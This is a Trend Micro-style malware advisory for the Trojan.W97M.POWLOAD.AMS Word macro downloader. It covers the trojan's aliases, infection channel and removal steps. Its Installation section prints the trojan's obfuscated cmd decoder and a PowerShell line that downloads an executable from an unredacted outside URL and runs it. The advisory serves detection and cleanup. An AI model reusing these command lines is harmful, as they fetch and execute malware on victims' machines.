Trojan.W97M.POWLOAD.AMS

 Analysis by: Raighen Sanchez

 ALIASES:

TrojanDownloader:O97M/Donoff (MICROSOFT)

 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted: No

  • In the wild: Yes

  OVERVIEW

Infection Channel:

Downloaded from the Internet, Dropped by other malware

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

133,120 bytes

File Type:

DOC

Memory Resident:

No

Initial Samples Received Date:

28 Dec 2018

Payload:

Connects to URLs/IPs

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • cmd /c %PRogrAmDaTa:~0,1%%ProgRAmData:~9,2% /v: /c "set CBku=5pr+Ls;t7Gui\ng,fz2S=@C.PdWbe:RcEw0)/B$1TUx l(NMyvFmj8Z3AI6~a{hoD9-}'4%kO& FOR %z In ( 1 63 33 70 24 41 37 4 57 22 29 59 0 15 39 70 2 70 19 32 19 19 57 72 46 46 56 47 32 29 59 66 69 15 39 70 62 70 40 32 47 24 29 59 66 55 15 39 70 44 44 43 38 17 18 18 8 20 68 13 39 69 69 68 6 38 62 69 34 58 20 13 28 33 66 63 27 52 28 31 7 43 46 28 7 23 26 28 27 22 44 11 28 13 7 6 38 2 18 53 34 20 68 62 7 7 1 29 36 36 16 2 28 28 23 25 11 28 14 63 60 44 28 42 23 31 63 51 36 55 18 53 65 16 71 52 5 25 16 48 10 55 23 27 11 13 68 23 19 1 44 11 7 45 68 21 68 35 6 38 52 18 53 65 20 68 11 69 69 65 68 6 38 4 8 69 18 43 20 43 68 0 69 8 68 6 38 17 55 18 18 20 68 63 55 55 34 68 6 38 52 65 55 34 20 38 28 13 49 29 1 10 27 44 11 31 3 68 12 68 3 38 4 8 69 18 3 68 23 28 42 28 68 6 16 63 2 28 60 31 62 45 38 17 65 18 0 43 11 13 43 38 2 18 53 34 35 61 7 2 48 61 38 62 69 34 58 23 64 63 33 13 44 63 60 25 50 11 44 28 45 38 17 65 18 0 15 43 38 52 65 55 34 35 6 38 33 53 8 18 20 68 56 18 53 55 68 6 57 16 43 45 45 9 28 7 66 57 7 28 51 43 38 52 65 55 34 35 23 44 28 13 14 7 62 43 66 14 28 43 53 34 34 34 34 35 43 61 57 13 49 63 71 28 66 57 7 28 51 43 38 52 65 55 34 6 38 54 65 65 69 20 68 22 0 55 8 68 6 27 2 28 60 71 6 67 67 31 60 7 31 62 61 67 67 38 30 58 8 58 20 68 33 39 0 18 68 6 81) DO SEt 2fvq=!2fvq!!CBku:~ %z, 1!&&if %z == 81 ecHo !2fvq:~ -408!| FOR /F "delims=TFSH tokens=1" %J IN ('ftype^^^|findstr mdFi')DO %J "
  • CmD /v: /c "set CBku=5pr+Ls;t7Gui\ng,fz2S=@C.PdWbe:RcEw0)/B$1TUx l(NMyvFmj8Z3AI6~a{hoD9-}'4%kO& FOR %z In ( 1 63 33 70 24 41 37 4 57 22 29 59 0 15 39 70 2 70 19 32 19 19 57 72 46 46 56 47 32 29 59 66 69 15 39 70 62 70 40 32 47 24 29 59 66 55 15 39 70 44 44 43 38 17 18 18 8 20 68 13 39 69 69 68 6 38 62 69 34 58 20 13 28 33 66 63 27 52 28 31 7 43 46 28 7 23 26 28 27 22 44 11 28 13 7 6 38 2 18 53 34 20 68 62 7 7 1 29 36 36 16 2 28 28 23 25 11 28 14 63 60 44 28 42 23 31 63 51 36 55 18 53 65 16 71 52 5 25 16 48 10 55 23 27 11 13 68 23 19 1 44 11 7 45 68 21 68 35 6 38 52 18 53 65 20 68 11 69 69 65 68 6 38 4 8 69 18 43 20 43 68 0 69 8 68 6 38 17 55 18 18 20 68 63 55 55 34 68 6 38 52 65 55 34 20 38 28 13 49 29 1 10 27 44 11 31 3 68 12 68 3 38 4 8 69 18 3 68 23 28 42 28 68 6 16 63 2 28 60 31 62 45 38 17 65 18 0 43 11 13 43 38 2 18 53 34 35 61 7 2 48 61 38 62 69 34 58 23 64 63 33 13 44 63 60 25 50 11 44 28 45 38 17 65 18 0 15 43 38 52 65 55 34 35 6 38 33 53 8 18 20 68 56 18 53 55 68 6 57 16 43 45 45 9 28 7 66 57 7 28 51 43 38 52 65 55 34 35 23 44 28 13 14 7 62 43 66 14 28 43 53 34 34 34 34 35 43 61 57 13 49 63 71 28 66 57 7 28 51 43 38 52 65 55 34 6 38 54 65 65 69 20 68 22 0 55 8 68 6 27 2 28 60 71 6 67 67 31 60 7 31 62 61 67 67 38 30 58 8 58 20 68 33 39 0 18 68 6 81) DO SEt 2fvq=!2fvq!!CBku:~ %z, 1!&&if %z == 81 ecHo !2fvq:~ -408!| FOR /F "delims=TFSH tokens=1" %J IN ('ftype^^^|findstr mdFi')DO %J "
  • C:\Windows\system32\cmd.exe /S /D /c" ecHo pow%PUBLIC:~5,1%r%SESSIONNAME:~-4,1%h%TEMP:~-3,1%ll $z227='n144';$h406=new-object Net.WebClient;$r280='http://free.diegoalex.com/3289fkjsdfyu3.bin'.Split('@');$j289='i449';$L742 = '547';$z322='o330';$j930=$env:public+'\'+$L742+'.exe';foreach($z925 in $r280){try{$h406.DownloadFile($z925, $j930);$w872='A283';If ((Get-Item $j930).length -ge 80000) {Invoke-Item $j930;$Z994='C537';break;}}catch{}}$R676='w152';";
  • C:\Windows\system32\cmd.exe /S /D /c" FOR /F "delims=TFSH tokens=1" %J IN ('ftype^|findstr mdFi') DO %J "
  • C:\Windows\system32\cmd.exe /c ftype|findstr mdFi
  • C:\Windows\system32\cmd.exe /S /D /c" ftype"
  • findstr mdFi
  • Cmd

Other Details

This Trojan connects to the following possibly malicious URL:

  • http://{BLOCKED}egoalex.com

  SOLUTION

Minimum Scan Engine:

9.800

FIRST VSAPI PATTERN FILE:

19.782.03

FIRST VSAPI PATTERN DATE:

17 Dec 2024

VSAPI OPR PATTERN File:

19.783.00

VSAPI OPR PATTERN Date:

18 Dec 2024

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Scan your computer with your Trend Micro product to delete files detected as Trojan.W97M.POWLOAD.AMS. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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